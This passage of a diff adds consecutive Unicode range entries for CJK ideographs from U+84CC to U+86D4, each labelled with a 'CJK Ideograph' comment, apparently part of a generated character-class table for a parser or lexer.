+ ["\u84CC", "\u84CC"], /* CJK Ideograph */
+ ["\u84CD", "\u84CD"], /* CJK Ideograph */
+ ["\u84CE", "\u84CE"], /* CJK Ideograph */
+ ["\u84CF", "\u84CF"], /* CJK Ideograph */
+ ["\u84D0", "\u84D0"], /* CJK Ideograph */
+ ["\u84D1", "\u84D1"], /* CJK Ideograph */
+ ["\u84D2", "\u84D2"], /* CJK Ideograph */
+ ["\u84D3", "\u84D3"], /* CJK Ideograph */
+ ["\u84D4", "\u84D4"], /* CJK Ideograph */
+ ["\u84D5", "\u84D5"], /* CJK Ideograph */
+ ["\u84D6", "\u84D6"], /* CJK Ideograph */
+ ["\u84D7", "\u84D7"], /* CJK Ideograph */
+ ["\u84D8", "\u84D8"], /* CJK Ideograph */
+ ["\u84D9", "\u84D9"], /* CJK Ideograph */
+ ["\u84DA", "\u84DA"], /* CJK Ideograph */
+ ["\u84DB", "\u84DB"], /* CJK Ideograph */
+ ["\u84DC", "\u84DC"], /* CJK Ideograph */
+ ["\u84DD", "\u84DD"], /* CJK Ideograph */
+ ["\u84DE", "\u84DE"], /* CJK Ideograph */
+ ["\u84DF", "\u84DF"], /* CJK Ideograph */
+ ["\u84E0", "\u84E0"], /* CJK Ideograph */
+ ["\u84E1", "\u84E1"], /* CJK Ideograph */
+ ["\u84E2", "\u84E2"], /* CJK Ideograph */
+ ["\u84E3", "\u84E3"], /* CJK Ideograph */
+ ["\u84E4", "\u84E4"], /* CJK Ideograph */
+ ["\u84E5", "\u84E5"], /* CJK Ideograph */
+ ["\u84E6", "\u84E6"], /* CJK Ideograph */
+ ["\u84E7", "\u84E7"], /* CJK Ideograph */
+ ["\u84E8", "\u84E8"], /* CJK Ideograph */
+ ["\u84E9", "\u84E9"], /* CJK Ideograph */
+ ["\u84EA", "\u84EA"], /* CJK Ideograph */
+ ["\u84EB", "\u84EB"], /* CJK Ideograph */
+ ["\u84EC", "\u84EC"], /* CJK Ideograph */
+ ["\u84ED", "\u84ED"], /* CJK Ideograph */
+ ["\u84EE", "\u84EE"], /* CJK Ideograph */
+ ["\u84EF", "\u84EF"], /* CJK Ideograph */
+ ["\u84F0", "\u84F0"], /* CJK Ideograph */
+ ["\u84F1", "\u84F1"], /* CJK Ideograph */
+ ["\u84F2", "\u84F2"], /* CJK Ideograph */
+ ["\u84F3", "\u84F3"], /* CJK Ideograph */
+ ["\u84F4", "\u84F4"], /* CJK Ideograph */
+ ["\u84F5", "\u84F5"], /* CJK Ideograph */
+ ["\u84F6", "\u84F6"], /* CJK Ideograph */
+ ["\u84F7", "\u84F7"], /* CJK Ideograph */
+ ["\u84F8", "\u84F8"], /* CJK Ideograph */
+ ["\u84F9", "\u84F9"], /* CJK Ideograph */
+ ["\u84FA", "\u84FA"], /* CJK Ideograph */
+ ["\u84FB", "\u84FB"], /* CJK Ideograph */
+ ["\u84FC", "\u84FC"], /* CJK Ideograph */
+ ["\u84FD", "\u84FD"], /* CJK Ideograph */
+ ["\u84FE", "\u84FE"], /* CJK Ideograph */
+ ["\u84FF", "\u84FF"], /* CJK Ideograph */
+ ["\u8500", "\u8500"], /* CJK Ideograph */
+ ["\u8501", "\u8501"], /* CJK Ideograph */
+ ["\u8502", "\u8502"], /* CJK Ideograph */
+ ["\u8503", "\u8503"], /* CJK Ideograph */
+ ["\u8504", "\u8504"], /* CJK Ideograph */
+ ["\u8505", "\u8505"], /* CJK Ideograph */
+ ["\u8506", "\u8506"], /* CJK Ideograph */
+ ["\u8507", "\u8507"], /* CJK Ideograph */
+ ["\u8508", "\u8508"], /* CJK Ideograph */
+ ["\u8509", "\u8509"], /* CJK Ideograph */
+ ["\u850A", "\u850A"], /* CJK Ideograph */
+ ["\u850B", "\u850B"], /* CJK Ideograph */
+ ["\u850C", "\u850C"], /* CJK Ideograph */
+ ["\u850D", "\u850D"], /* CJK Ideograph */
+ ["\u850E", "\u850E"], /* CJK Ideograph */
+ ["\u850F", "\u850F"], /* CJK Ideograph */
+ ["\u8510", "\u8510"], /* CJK Ideograph */
+ ["\u8511", "\u8511"], /* CJK Ideograph */
+ ["\u8512", "\u8512"], /* CJK Ideograph */
+ ["\u8513", "\u8513"], /* CJK Ideograph */
+ ["\u8514", "\u8514"], /* CJK Ideograph */
+ ["\u8515", "\u8515"], /* CJK Ideograph */
+ ["\u8516", "\u8516"], /* CJK Ideograph */
+ ["\u8517", "\u8517"], /* CJK Ideograph */
+ ["\u8518", "\u8518"], /* CJK Ideograph */
+ ["\u8519", "\u8519"], /* CJK Ideograph */
+ ["\u851A", "\u851A"], /* CJK Ideograph */
+ ["\u851B", "\u851B"], /* CJK Ideograph */
+ ["\u851C", "\u851C"], /* CJK Ideograph */
+ ["\u851D", "\u851D"], /* CJK Ideograph */
+ ["\u851E", "\u851E"], /* CJK Ideograph */
+ ["\u851F", "\u851F"], /* CJK Ideograph */
+ ["\u8520", "\u8520"], /* CJK Ideograph */
+ ["\u8521", "\u8521"], /* CJK Ideograph */
+ ["\u8522", "\u8522"], /* CJK Ideograph */
+ ["\u8523", "\u8523"], /* CJK Ideograph */
+ ["\u8524", "\u8524"], /* CJK Ideograph */
+ ["\u8525", "\u8525"], /* CJK Ideograph */
+ ["\u8526", "\u8526"], /* CJK Ideograph */
+ ["\u8527", "\u8527"], /* CJK Ideograph */
+ ["\u8528", "\u8528"], /* CJK Ideograph */
+ ["\u8529", "\u8529"], /* CJK Ideograph */
+ ["\u852A", "\u852A"], /* CJK Ideograph */
+ ["\u852B", "\u852B"], /* CJK Ideograph */
+ ["\u852C", "\u852C"], /* CJK Ideograph */
+ ["\u852D", "\u852D"], /* CJK Ideograph */
+ ["\u852E", "\u852E"], /* CJK Ideograph */
+ ["\u852F", "\u852F"], /* CJK Ideograph */
+ ["\u8530", "\u8530"], /* CJK Ideograph */
+ ["\u8531", "\u8531"], /* CJK Ideograph */
+ ["\u8532", "\u8532"], /* CJK Ideograph */
+ ["\u8533", "\u8533"], /* CJK Ideograph */
+ ["\u8534", "\u8534"], /* CJK Ideograph */
+ ["\u8535", "\u8535"], /* CJK Ideograph */
+ ["\u8536", "\u8536"], /* CJK Ideograph */
+ ["\u8537", "\u8537"], /* CJK Ideograph */
+ ["\u8538", "\u8538"], /* CJK Ideograph */
+ ["\u8539", "\u8539"], /* CJK Ideograph */
+ ["\u853A", "\u853A"], /* CJK Ideograph */
+ ["\u853B", "\u853B"], /* CJK Ideograph */
+ ["\u853C", "\u853C"], /* CJK Ideograph */
+ ["\u853D", "\u853D"], /* CJK Ideograph */
+ ["\u853E", "\u853E"], /* CJK Ideograph */
+ ["\u853F", "\u853F"], /* CJK Ideograph */
+ ["\u8540", "\u8540"], /* CJK Ideograph */
+ ["\u8541", "\u8541"], /* CJK Ideograph */
+ ["\u8542", "\u8542"], /* CJK Ideograph */
+ ["\u8543", "\u8543"], /* CJK Ideograph */
+ ["\u8544", "\u8544"], /* CJK Ideograph */
+ ["\u8545", "\u8545"], /* CJK Ideograph */
+ ["\u8546", "\u8546"], /* CJK Ideograph */
+ ["\u8547", "\u8547"], /* CJK Ideograph */
+ ["\u8548", "\u8548"], /* CJK Ideograph */
+ ["\u8549", "\u8549"], /* CJK Ideograph */
+ ["\u854A", "\u854A"], /* CJK Ideograph */
+ ["\u854B", "\u854B"], /* CJK Ideograph */
+ ["\u854C", "\u854C"], /* CJK Ideograph */
+ ["\u854D", "\u854D"], /* CJK Ideograph */
+ ["\u854E", "\u854E"], /* CJK Ideograph */
+ ["\u854F", "\u854F"], /* CJK Ideograph */
+ ["\u8550", "\u8550"], /* CJK Ideograph */
+ ["\u8551", "\u8551"], /* CJK Ideograph */
+ ["\u8552", "\u8552"], /* CJK Ideograph */
+ ["\u8553", "\u8553"], /* CJK Ideograph */
+ ["\u8554", "\u8554"], /* CJK Ideograph */
+ ["\u8555", "\u8555"], /* CJK Ideograph */
+ ["\u8556", "\u8556"], /* CJK Ideograph */
+ ["\u8557", "\u8557"], /* CJK Ideograph */
+ ["\u8558", "\u8558"], /* CJK Ideograph */
+ ["\u8559", "\u8559"], /* CJK Ideograph */
+ ["\u855A", "\u855A"], /* CJK Ideograph */
+ ["\u855B", "\u855B"], /* CJK Ideograph */
+ ["\u855C", "\u855C"], /* CJK Ideograph */
+ ["\u855D", "\u855D"], /* CJK Ideograph */
+ ["\u855E", "\u855E"], /* CJK Ideograph */
+ ["\u855F", "\u855F"], /* CJK Ideograph */
+ ["\u8560", "\u8560"], /* CJK Ideograph */
+ ["\u8561", "\u8561"], /* CJK Ideograph */
+ ["\u8562", "\u8562"], /* CJK Ideograph */
+ ["\u8563", "\u8563"], /* CJK Ideograph */
+ ["\u8564", "\u8564"], /* CJK Ideograph */
+ ["\u8565", "\u8565"], /* CJK Ideograph */
+ ["\u8566", "\u8566"], /* CJK Ideograph */
+ ["\u8567", "\u8567"], /* CJK Ideograph */
+ ["\u8568", "\u8568"], /* CJK Ideograph */
+ ["\u8569", "\u8569"], /* CJK Ideograph */
+ ["\u856A", "\u856A"], /* CJK Ideograph */
+ ["\u856B", "\u856B"], /* CJK Ideograph */
+ ["\u856C", "\u856C"], /* CJK Ideograph */
+ ["\u856D", "\u856D"], /* CJK Ideograph */
+ ["\u856E", "\u856E"], /* CJK Ideograph */
+ ["\u856F", "\u856F"], /* CJK Ideograph */
+ ["\u8570", "\u8570"], /* CJK Ideograph */
+ ["\u8571", "\u8571"], /* CJK Ideograph */
+ ["\u8572", "\u8572"], /* CJK Ideograph */
+ ["\u8573", "\u8573"], /* CJK Ideograph */
+ ["\u8574", "\u8574"], /* CJK Ideograph */
+ ["\u8575", "\u8575"], /* CJK Ideograph */
+ ["\u8576", "\u8576"], /* CJK Ideograph */
+ ["\u8577", "\u8577"], /* CJK Ideograph */
+ ["\u8578", "\u8578"], /* CJK Ideograph */
+ ["\u8579", "\u8579"], /* CJK Ideograph */
+ ["\u857A", "\u857A"], /* CJK Ideograph */
+ ["\u857B", "\u857B"], /* CJK Ideograph */
+ ["\u857C", "\u857C"], /* CJK Ideograph */
+ ["\u857D", "\u857D"], /* CJK Ideograph */
+ ["\u857E", "\u857E"], /* CJK Ideograph */
+ ["\u857F", "\u857F"], /* CJK Ideograph */
+ ["\u8580", "\u8580"], /* CJK Ideograph */
+ ["\u8581", "\u8581"], /* CJK Ideograph */
+ ["\u8582", "\u8582"], /* CJK Ideograph */
+ ["\u8583", "\u8583"], /* CJK Ideograph */
+ ["\u8584", "\u8584"], /* CJK Ideograph */
+ ["\u8585", "\u8585"], /* CJK Ideograph */
+ ["\u8586", "\u8586"], /* CJK Ideograph */
+ ["\u8587", "\u8587"], /* CJK Ideograph */
+ ["\u8588", "\u8588"], /* CJK Ideograph */
+ ["\u8589", "\u8589"], /* CJK Ideograph */
+ ["\u858A", "\u858A"], /* CJK Ideograph */
+ ["\u858B", "\u858B"], /* CJK Ideograph */
+ ["\u858C", "\u858C"], /* CJK Ideograph */
+ ["\u858D", "\u858D"], /* CJK Ideograph */
+ ["\u858E", "\u858E"], /* CJK Ideograph */
+ ["\u858F", "\u858F"], /* CJK Ideograph */
+ ["\u8590", "\u8590"], /* CJK Ideograph */
+ ["\u8591", "\u8591"], /* CJK Ideograph */
+ ["\u8592", "\u8592"], /* CJK Ideograph */
+ ["\u8593", "\u8593"], /* CJK Ideograph */
+ ["\u8594", "\u8594"], /* CJK Ideograph */
+ ["\u8595", "\u8595"], /* CJK Ideograph */
+ ["\u8596", "\u8596"], /* CJK Ideograph */
+ ["\u8597", "\u8597"], /* CJK Ideograph */
+ ["\u8598", "\u8598"], /* CJK Ideograph */
+ ["\u8599", "\u8599"], /* CJK Ideograph */
+ ["\u859A", "\u859A"], /* CJK Ideograph */
+ ["\u859B", "\u859B"], /* CJK Ideograph */
+ ["\u859C", "\u859C"], /* CJK Ideograph */
+ ["\u859D", "\u859D"], /* CJK Ideograph */
+ ["\u859E", "\u859E"], /* CJK Ideograph */
+ ["\u859F", "\u859F"], /* CJK Ideograph */
+ ["\u85A0", "\u85A0"], /* CJK Ideograph */
+ ["\u85A1", "\u85A1"], /* CJK Ideograph */
+ ["\u85A2", "\u85A2"], /* CJK Ideograph */
+ ["\u85A3", "\u85A3"], /* CJK Ideograph */
+ ["\u85A4", "\u85A4"], /* CJK Ideograph */
+ ["\u85A5", "\u85A5"], /* CJK Ideograph */
+ ["\u85A6", "\u85A6"], /* CJK Ideograph */
+ ["\u85A7", "\u85A7"], /* CJK Ideograph */
+ ["\u85A8", "\u85A8"], /* CJK Ideograph */
+ ["\u85A9", "\u85A9"], /* CJK Ideograph */
+ ["\u85AA", "\u85AA"], /* CJK Ideograph */
+ ["\u85AB", "\u85AB"], /* CJK Ideograph */
+ ["\u85AC", "\u85AC"], /* CJK Ideograph */
+ ["\u85AD", "\u85AD"], /* CJK Ideograph */
+ ["\u85AE", "\u85AE"], /* CJK Ideograph */
+ ["\u85AF", "\u85AF"], /* CJK Ideograph */
+ ["\u85B0", "\u85B0"], /* CJK Ideograph */
+ ["\u85B1", "\u85B1"], /* CJK Ideograph */
+ ["\u85B2", "\u85B2"], /* CJK Ideograph */
+ ["\u85B3", "\u85B3"], /* CJK Ideograph */
+ ["\u85B4", "\u85B4"], /* CJK Ideograph */
+ ["\u85B5", "\u85B5"], /* CJK Ideograph */
+ ["\u85B6", "\u85B6"], /* CJK Ideograph */
+ ["\u85B7", "\u85B7"], /* CJK Ideograph */
+ ["\u85B8", "\u85B8"], /* CJK Ideograph */
+ ["\u85B9", "\u85B9"], /* CJK Ideograph */
+ ["\u85BA", "\u85BA"], /* CJK Ideograph */
+ ["\u85BB", "\u85BB"], /* CJK Ideograph */
+ ["\u85BC", "\u85BC"], /* CJK Ideograph */
+ ["\u85BD", "\u85BD"], /* CJK Ideograph */
+ ["\u85BE", "\u85BE"], /* CJK Ideograph */
+ ["\u85BF", "\u85BF"], /* CJK Ideograph */
+ ["\u85C0", "\u85C0"], /* CJK Ideograph */
+ ["\u85C1", "\u85C1"], /* CJK Ideograph */
+ ["\u85C2", "\u85C2"], /* CJK Ideograph */
+ ["\u85C3", "\u85C3"], /* CJK Ideograph */
+ ["\u85C4", "\u85C4"], /* CJK Ideograph */
+ ["\u85C5", "\u85C5"], /* CJK Ideograph */
+ ["\u85C6", "\u85C6"], /* CJK Ideograph */
+ ["\u85C7", "\u85C7"], /* CJK Ideograph */
+ ["\u85C8", "\u85C8"], /* CJK Ideograph */
+ ["\u85C9", "\u85C9"], /* CJK Ideograph */
+ ["\u85CA", "\u85CA"], /* CJK Ideograph */
+ ["\u85CB", "\u85CB"], /* CJK Ideograph */
+ ["\u85CC", "\u85CC"], /* CJK Ideograph */
+ ["\u85CD", "\u85CD"], /* CJK Ideograph */
+ ["\u85CE", "\u85CE"], /* CJK Ideograph */
+ ["\u85CF", "\u85CF"], /* CJK Ideograph */
+ ["\u85D0", "\u85D0"], /* CJK Ideograph */
+ ["\u85D1", "\u85D1"], /* CJK Ideograph */
+ ["\u85D2", "\u85D2"], /* CJK Ideograph */
+ ["\u85D3", "\u85D3"], /* CJK Ideograph */
+ ["\u85D4", "\u85D4"], /* CJK Ideograph */
+ ["\u85D5", "\u85D5"], /* CJK Ideograph */
+ ["\u85D6", "\u85D6"], /* CJK Ideograph */
+ ["\u85D7", "\u85D7"], /* CJK Ideograph */
+ ["\u85D8", "\u85D8"], /* CJK Ideograph */
+ ["\u85D9", "\u85D9"], /* CJK Ideograph */
+ ["\u85DA", "\u85DA"], /* CJK Ideograph */
+ ["\u85DB", "\u85DB"], /* CJK Ideograph */
+ ["\u85DC", "\u85DC"], /* CJK Ideograph */
+ ["\u85DD", "\u85DD"], /* CJK Ideograph */
+ ["\u85DE", "\u85DE"], /* CJK Ideograph */
+ ["\u85DF", "\u85DF"], /* CJK Ideograph */
+ ["\u85E0", "\u85E0"], /* CJK Ideograph */
+ ["\u85E1", "\u85E1"], /* CJK Ideograph */
+ ["\u85E2", "\u85E2"], /* CJK Ideograph */
+ ["\u85E3", "\u85E3"], /* CJK Ideograph */
+ ["\u85E4", "\u85E4"], /* CJK Ideograph */
+ ["\u85E5", "\u85E5"], /* CJK Ideograph */
+ ["\u85E6", "\u85E6"], /* CJK Ideograph */
+ ["\u85E7", "\u85E7"], /* CJK Ideograph */
+ ["\u85E8", "\u85E8"], /* CJK Ideograph */
+ ["\u85E9", "\u85E9"], /* CJK Ideograph */
+ ["\u85EA", "\u85EA"], /* CJK Ideograph */
+ ["\u85EB", "\u85EB"], /* CJK Ideograph */
+ ["\u85EC", "\u85EC"], /* CJK Ideograph */
+ ["\u85ED", "\u85ED"], /* CJK Ideograph */
+ ["\u85EE", "\u85EE"], /* CJK Ideograph */
+ ["\u85EF", "\u85EF"], /* CJK Ideograph */
+ ["\u85F0", "\u85F0"], /* CJK Ideograph */
+ ["\u85F1", "\u85F1"], /* CJK Ideograph */
+ ["\u85F2", "\u85F2"], /* CJK Ideograph */
+ ["\u85F3", "\u85F3"], /* CJK Ideograph */
+ ["\u85F4", "\u85F4"], /* CJK Ideograph */
+ ["\u85F5", "\u85F5"], /* CJK Ideograph */
+ ["\u85F6", "\u85F6"], /* CJK Ideograph */
+ ["\u85F7", "\u85F7"], /* CJK Ideograph */
+ ["\u85F8", "\u85F8"], /* CJK Ideograph */
+ ["\u85F9", "\u85F9"], /* CJK Ideograph */
+ ["\u85FA", "\u85FA"], /* CJK Ideograph */
+ ["\u85FB", "\u85FB"], /* CJK Ideograph */
+ ["\u85FC", "\u85FC"], /* CJK Ideograph */
+ ["\u85FD", "\u85FD"], /* CJK Ideograph */
+ ["\u85FE", "\u85FE"], /* CJK Ideograph */
+ ["\u85FF", "\u85FF"], /* CJK Ideograph */
+ ["\u8600", "\u8600"], /* CJK Ideograph */
+ ["\u8601", "\u8601"], /* CJK Ideograph */
+ ["\u8602", "\u8602"], /* CJK Ideograph */
+ ["\u8603", "\u8603"], /* CJK Ideograph */
+ ["\u8604", "\u8604"], /* CJK Ideograph */
+ ["\u8605", "\u8605"], /* CJK Ideograph */
+ ["\u8606", "\u8606"], /* CJK Ideograph */
+ ["\u8607", "\u8607"], /* CJK Ideograph */
+ ["\u8608", "\u8608"], /* CJK Ideograph */
+ ["\u8609", "\u8609"], /* CJK Ideograph */
+ ["\u860A", "\u860A"], /* CJK Ideograph */
+ ["\u860B", "\u860B"], /* CJK Ideograph */
+ ["\u860C", "\u860C"], /* CJK Ideograph */
+ ["\u860D", "\u860D"], /* CJK Ideograph */
+ ["\u860E", "\u860E"], /* CJK Ideograph */
+ ["\u860F", "\u860F"], /* CJK Ideograph */
+ ["\u8610", "\u8610"], /* CJK Ideograph */
+ ["\u8611", "\u8611"], /* CJK Ideograph */
+ ["\u8612", "\u8612"], /* CJK Ideograph */
+ ["\u8613", "\u8613"], /* CJK Ideograph */
+ ["\u8614", "\u8614"], /* CJK Ideograph */
+ ["\u8615", "\u8615"], /* CJK Ideograph */
+ ["\u8616", "\u8616"], /* CJK Ideograph */
+ ["\u8617", "\u8617"], /* CJK Ideograph */
+ ["\u8618", "\u8618"], /* CJK Ideograph */
+ ["\u8619", "\u8619"], /* CJK Ideograph */
+ ["\u861A", "\u861A"], /* CJK Ideograph */
+ ["\u861B", "\u861B"], /* CJK Ideograph */
+ ["\u861C", "\u861C"], /* CJK Ideograph */
+ ["\u861D", "\u861D"], /* CJK Ideograph */
+ ["\u861E", "\u861E"], /* CJK Ideograph */
+ ["\u861F", "\u861F"], /* CJK Ideograph */
+ ["\u8620", "\u8620"], /* CJK Ideograph */
+ ["\u8621", "\u8621"], /* CJK Ideograph */
+ ["\u8622", "\u8622"], /* CJK Ideograph */
+ ["\u8623", "\u8623"], /* CJK Ideograph */
+ ["\u8624", "\u8624"], /* CJK Ideograph */
+ ["\u8625", "\u8625"], /* CJK Ideograph */
+ ["\u8626", "\u8626"], /* CJK Ideograph */
+ ["\u8627", "\u8627"], /* CJK Ideograph */
+ ["\u8628", "\u8628"], /* CJK Ideograph */
+ ["\u8629", "\u8629"], /* CJK Ideograph */
+ ["\u862A", "\u862A"], /* CJK Ideograph */
+ ["\u862B", "\u862B"], /* CJK Ideograph */
+ ["\u862C", "\u862C"], /* CJK Ideograph */
+ ["\u862D", "\u862D"], /* CJK Ideograph */
+ ["\u862E", "\u862E"], /* CJK Ideograph */
+ ["\u862F", "\u862F"], /* CJK Ideograph */
+ ["\u8630", "\u8630"], /* CJK Ideograph */
+ ["\u8631", "\u8631"], /* CJK Ideograph */
+ ["\u8632", "\u8632"], /* CJK Ideograph */
+ ["\u8633", "\u8633"], /* CJK Ideograph */
+ ["\u8634", "\u8634"], /* CJK Ideograph */
+ ["\u8635", "\u8635"], /* CJK Ideograph */
+ ["\u8636", "\u8636"], /* CJK Ideograph */
+ ["\u8637", "\u8637"], /* CJK Ideograph */
+ ["\u8638", "\u8638"], /* CJK Ideograph */
+ ["\u8639", "\u8639"], /* CJK Ideograph */
+ ["\u863A", "\u863A"], /* CJK Ideograph */
+ ["\u863B", "\u863B"], /* CJK Ideograph */
+ ["\u863C", "\u863C"], /* CJK Ideograph */
+ ["\u863D", "\u863D"], /* CJK Ideograph */
+ ["\u863E", "\u863E"], /* CJK Ideograph */
+ ["\u863F", "\u863F"], /* CJK Ideograph */
+ ["\u8640", "\u8640"], /* CJK Ideograph */
+ ["\u8641", "\u8641"], /* CJK Ideograph */
+ ["\u8642", "\u8642"], /* CJK Ideograph */
+ ["\u8643", "\u8643"], /* CJK Ideograph */
+ ["\u8644", "\u8644"], /* CJK Ideograph */
+ ["\u8645", "\u8645"], /* CJK Ideograph */
+ ["\u8646", "\u8646"], /* CJK Ideograph */
+ ["\u8647", "\u8647"], /* CJK Ideograph */
+ ["\u8648", "\u8648"], /* CJK Ideograph */
+ ["\u8649", "\u8649"], /* CJK Ideograph */
+ ["\u864A", "\u864A"], /* CJK Ideograph */
+ ["\u864B", "\u864B"], /* CJK Ideograph */
+ ["\u864C", "\u864C"], /* CJK Ideograph */
+ ["\u864D", "\u864D"], /* CJK Ideograph */
+ ["\u864E", "\u864E"], /* CJK Ideograph */
+ ["\u864F", "\u864F"], /* CJK Ideograph */
+ ["\u8650", "\u8650"], /* CJK Ideograph */
+ ["\u8651", "\u8651"], /* CJK Ideograph */
+ ["\u8652", "\u8652"], /* CJK Ideograph */
+ ["\u8653", "\u8653"], /* CJK Ideograph */
+ ["\u8654", "\u8654"], /* CJK Ideograph */
+ ["\u8655", "\u8655"], /* CJK Ideograph */
+ ["\u8656", "\u8656"], /* CJK Ideograph */
+ ["\u8657", "\u8657"], /* CJK Ideograph */
+ ["\u8658", "\u8658"], /* CJK Ideograph */
+ ["\u8659", "\u8659"], /* CJK Ideograph */
+ ["\u865A", "\u865A"], /* CJK Ideograph */
+ ["\u865B", "\u865B"], /* CJK Ideograph */
+ ["\u865C", "\u865C"], /* CJK Ideograph */
+ ["\u865D", "\u865D"], /* CJK Ideograph */
+ ["\u865E", "\u865E"], /* CJK Ideograph */
+ ["\u865F", "\u865F"], /* CJK Ideograph */
+ ["\u8660", "\u8660"], /* CJK Ideograph */
+ ["\u8661", "\u8661"], /* CJK Ideograph */
+ ["\u8662", "\u8662"], /* CJK Ideograph */
+ ["\u8663", "\u8663"], /* CJK Ideograph */
+ ["\u8664", "\u8664"], /* CJK Ideograph */
+ ["\u8665", "\u8665"], /* CJK Ideograph */
+ ["\u8666", "\u8666"], /* CJK Ideograph */
+ ["\u8667", "\u8667"], /* CJK Ideograph */
+ ["\u8668", "\u8668"], /* CJK Ideograph */
+ ["\u8669", "\u8669"], /* CJK Ideograph */
+ ["\u866A", "\u866A"], /* CJK Ideograph */
+ ["\u866B", "\u866B"], /* CJK Ideograph */
+ ["\u866C", "\u866C"], /* CJK Ideograph */
+ ["\u866D", "\u866D"], /* CJK Ideograph */
+ ["\u866E", "\u866E"], /* CJK Ideograph */
+ ["\u866F", "\u866F"], /* CJK Ideograph */
+ ["\u8670", "\u8670"], /* CJK Ideograph */
+ ["\u8671", "\u8671"], /* CJK Ideograph */
+ ["\u8672", "\u8672"], /* CJK Ideograph */
+ ["\u8673", "\u8673"], /* CJK Ideograph */
+ ["\u8674", "\u8674"], /* CJK Ideograph */
+ ["\u8675", "\u8675"], /* CJK Ideograph */
+ ["\u8676", "\u8676"], /* CJK Ideograph */
+ ["\u8677", "\u8677"], /* CJK Ideograph */
+ ["\u8678", "\u8678"], /* CJK Ideograph */
+ ["\u8679", "\u8679"], /* CJK Ideograph */
+ ["\u867A", "\u867A"], /* CJK Ideograph */
+ ["\u867B", "\u867B"], /* CJK Ideograph */
+ ["\u867C", "\u867C"], /* CJK Ideograph */
+ ["\u867D", "\u867D"], /* CJK Ideograph */
+ ["\u867E", "\u867E"], /* CJK Ideograph */
+ ["\u867F", "\u867F"], /* CJK Ideograph */
+ ["\u8680", "\u8680"], /* CJK Ideograph */
+ ["\u8681", "\u8681"], /* CJK Ideograph */
+ ["\u8682", "\u8682"], /* CJK Ideograph */
+ ["\u8683", "\u8683"], /* CJK Ideograph */
+ ["\u8684", "\u8684"], /* CJK Ideograph */
+ ["\u8685", "\u8685"], /* CJK Ideograph */
+ ["\u8686", "\u8686"], /* CJK Ideograph */
+ ["\u8687", "\u8687"], /* CJK Ideograph */
+ ["\u8688", "\u8688"], /* CJK Ideograph */
+ ["\u8689", "\u8689"], /* CJK Ideograph */
+ ["\u868A", "\u868A"], /* CJK Ideograph */
+ ["\u868B", "\u868B"], /* CJK Ideograph */
+ ["\u868C", "\u868C"], /* CJK Ideograph */
+ ["\u868D", "\u868D"], /* CJK Ideograph */
+ ["\u868E", "\u868E"], /* CJK Ideograph */
+ ["\u868F", "\u868F"], /* CJK Ideograph */
+ ["\u8690", "\u8690"], /* CJK Ideograph */
+ ["\u8691", "\u8691"], /* CJK Ideograph */
+ ["\u8692", "\u8692"], /* CJK Ideograph */
+ ["\u8693", "\u8693"], /* CJK Ideograph */
+ ["\u8694", "\u8694"], /* CJK Ideograph */
+ ["\u8695", "\u8695"], /* CJK Ideograph */
+ ["\u8696", "\u8696"], /* CJK Ideograph */
+ ["\u8697", "\u8697"], /* CJK Ideograph */
+ ["\u8698", "\u8698"], /* CJK Ideograph */
+ ["\u8699", "\u8699"], /* CJK Ideograph */
+ ["\u869A", "\u869A"], /* CJK Ideograph */
+ ["\u869B", "\u869B"], /* CJK Ideograph */
+ ["\u869C", "\u869C"], /* CJK Ideograph */
+ ["\u869D", "\u869D"], /* CJK Ideograph */
+ ["\u869E", "\u869E"], /* CJK Ideograph */
+ ["\u869F", "\u869F"], /* CJK Ideograph */
+ ["\u86A0", "\u86A0"], /* CJK Ideograph */
+ ["\u86A1", "\u86A1"], /* CJK Ideograph */
+ ["\u86A2", "\u86A2"], /* CJK Ideograph */
+ ["\u86A3", "\u86A3"], /* CJK Ideograph */
+ ["\u86A4", "\u86A4"], /* CJK Ideograph */
+ ["\u86A5", "\u86A5"], /* CJK Ideograph */
+ ["\u86A6", "\u86A6"], /* CJK Ideograph */
+ ["\u86A7", "\u86A7"], /* CJK Ideograph */
+ ["\u86A8", "\u86A8"], /* CJK Ideograph */
+ ["\u86A9", "\u86A9"], /* CJK Ideograph */
+ ["\u86AA", "\u86AA"], /* CJK Ideograph */
+ ["\u86AB", "\u86AB"], /* CJK Ideograph */
+ ["\u86AC", "\u86AC"], /* CJK Ideograph */
+ ["\u86AD", "\u86AD"], /* CJK Ideograph */
+ ["\u86AE", "\u86AE"], /* CJK Ideograph */
+ ["\u86AF", "\u86AF"], /* CJK Ideograph */
+ ["\u86B0", "\u86B0"], /* CJK Ideograph */
+ ["\u86B1", "\u86B1"], /* CJK Ideograph */
+ ["\u86B2", "\u86B2"], /* CJK Ideograph */
+ ["\u86B3", "\u86B3"], /* CJK Ideograph */
+ ["\u86B4", "\u86B4"], /* CJK Ideograph */
+ ["\u86B5", "\u86B5"], /* CJK Ideograph */
+ ["\u86B6", "\u86B6"], /* CJK Ideograph */
+ ["\u86B7", "\u86B7"], /* CJK Ideograph */
+ ["\u86B8", "\u86B8"], /* CJK Ideograph */
+ ["\u86B9", "\u86B9"], /* CJK Ideograph */
+ ["\u86BA", "\u86BA"], /* CJK Ideograph */
+ ["\u86BB", "\u86BB"], /* CJK Ideograph */
+ ["\u86BC", "\u86BC"], /* CJK Ideograph */
+ ["\u86BD", "\u86BD"], /* CJK Ideograph */
+ ["\u86BE", "\u86BE"], /* CJK Ideograph */
+ ["\u86BF", "\u86BF"], /* CJK Ideograph */
+ ["\u86C0", "\u86C0"], /* CJK Ideograph */
+ ["\u86C1", "\u86C1"], /* CJK Ideograph */
+ ["\u86C2", "\u86C2"], /* CJK Ideograph */
+ ["\u86C3", "\u86C3"], /* CJK Ideograph */
+ ["\u86C4", "\u86C4"], /* CJK Ideograph */
+ ["\u86C5", "\u86C5"], /* CJK Ideograph */
+ ["\u86C6", "\u86C6"], /* CJK Ideograph */
+ ["\u86C7", "\u86C7"], /* CJK Ideograph */
+ ["\u86C8", "\u86C8"], /* CJK Ideograph */
+ ["\u86C9", "\u86C9"], /* CJK Ideograph */
+ ["\u86CA", "\u86CA"], /* CJK Ideograph */
+ ["\u86CB", "\u86CB"], /* CJK Ideograph */
+ ["\u86CC", "\u86CC"], /* CJK Ideograph */
+ ["\u86CD", "\u86CD"], /* CJK Ideograph */
+ ["\u86CE", "\u86CE"], /* CJK Ideograph */
+ ["\u86CF", "\u86CF"], /* CJK Ideograph */
+ ["\u86D0", "\u86D0"], /* CJK Ideograph */
+ ["\u86D1", "\u86D1"], /* CJK Ideograph */
+ ["\u86D2", "\u86D2"], /* CJK Ideograph */
+ ["\u86D3", "\u86D3"], /* CJK Ideograph */
+ ["\u86D4", "\u86D4"], /* CJK Ideograph */
